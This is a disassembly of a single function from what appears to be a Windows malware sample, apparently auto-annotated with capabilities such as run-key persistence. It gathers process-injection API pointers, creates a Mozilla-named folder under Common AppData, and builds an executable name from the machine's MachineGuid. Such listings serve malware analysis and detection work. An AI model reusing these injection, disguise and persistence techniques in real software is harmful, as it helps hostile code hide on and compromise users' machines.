Function at 0x402770
Capabilities:
Accept command line arguments
Create directory
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x40e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x44f8b4], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44f8ac], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
mov dword [0x44f8b8], edx
mov edx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x44f8bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x44f8b0], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
mov dword [0x44f8a8], edx
mov dword [0x44f8a4], eax
mov dword [0x44f8a0], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x44f89c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [ebp - 0xa8]
push edx
mov dword [0x44f8c0], eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa8]
mov dword [0x44f8c4], eax
mov dword [0x44f8c8], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x44f8cc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x44f8c0
push 0x44f8d0
mov dword [0x44f8d0], eax
mov dword [0x44f8d4], 0
call fcn.004018f0
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea edx, [ebp - 0x9c]
push edx
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
call edi
mov ecx, dword [ebp - 0x9c]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0xa0]
push eax
push 0x450158
push 0
push 0
push str.Common_AppData
push ecx
mov dword [ebp - 0xa0], 0x200
call ebx
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp word [0x450158], 0
mov eax, 0x450158
je 0x4028b9
add eax, 2
cmp word [eax], 0
jne 0x4028b0
cmp word [eax - 2], 0x5c
je 0x4028cb
mov ecx, 0x5c
mov word [eax], cx
add eax, 2
mov esi, str.Mozilla_
mov edx, 0x4d
sub esi, eax
movzx ecx, word [esi + eax + 2]
mov word [eax], dx
add eax, 2
mov edx, ecx
test cx, cx
jne 0x4028d7
xor edx, edx
push edx
push 0x450158
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x200
push 0x450158
push 0x450158
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea eax, [ebp - 0x9c]
push eax
push 0x101
push 0
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call edi
test eax, eax
jne 0x402ae0
push 0x80
push eax
lea ecx, [ebp - 0x98]
push ecx
call fcn.00405380
mov ecx, dword [ebp - 0x9c]
add esp, 0xc
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x98]
push eax
push 0
push 0
push str.MachineGuid
push ecx
mov dword [ebp - 0xa0], 0x80
call ebx
xor eax, eax
xor ebx, ebx
lea esi, [ebp - 0x98]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
cmp word [ebp - 0x98], ax
je 0x4029e3
nop
movzx eax, word [esi]
lea edx, [eax - 0x30]
add esi, 2
cmp dx, 9
ja 0x4029a4
lea ecx, [eax - 0x30]
jmp 0x4029bd
cmp eax, 0x61
jb 0x4029ae
cmp eax, 0x66
jbe 0x4029b7
lea ecx, [eax - 0x41]
cmp cx, 5
ja 0x4029dd
and eax, 0xf
lea ecx, [eax + 9]
mov eax, ebx
cdq
sub eax, edx
test bl, 1
je 0x4029d3
sar eax, 1
or byte [ebp + eax - 0x14], cl
lea eax, [ebp + eax - 0x14]
jmp 0x4029dc
shl cl, 4
sar eax, 1
mov byte [ebp + eax - 0x14], cl
inc ebx
cmp word [esi], 0
jne 0x402990
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 0xa
push 0x409a40
lea eax, [ebp - 0x14]
push eax
call fcn.004018f0
push 0x409a40
lea ecx, [ebp - 0x10]
push ecx
call fcn.004018f0
push 0x409a40
lea edx, [ebp - 0xc]
push edx
call fcn.004018f0
dec esi
jne 0x4029f5
mov ax, word [0x450158]
mov ecx, 0x44f958
test ax, ax
je 0x402a52
mov esi, 0x450158
movzx edx, ax
sub esi, ecx
lea esp, [esp]
movzx eax, word [esi + ecx + 2]
mov word [ecx], dx
add ecx, 2
mov edx, eax
test ax, ax
jne 0x402a40
xor eax, eax
mov word [ecx], ax
mov eax, dword [ebp - 0x10]
call fcn.00401a50
mov esi, str..exe
mov edx, 0x2e
sub esi, eax
jmp 0x402a70
mov word [eax], dx
movzx ecx, word [esi + eax + 2]
add eax, 2
mov edx, ecx
test cx, cx
jne 0x402a70
xor ecx, ecx
mov word [eax], cx
mov eax, dword [ebp - 0xc]
mov ecx, 0x44f918
call fcn.00401a50
mov eax, dword [ebp - 8]
mov ecx, 0x44f8da
call fcn.00401a50
mov edx, 0x2d
mov word [0x44f8d8], dx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x44f8d8
push eax
call fcn.00402f3a
add esp, 8
test eax, eax
je 0x402adb
call fcn.00402640
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402c9c
mov esp, ebp
pop ebp
ret
call fcn.00402420
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402c9c
mov esp, ebp
pop ebp
ret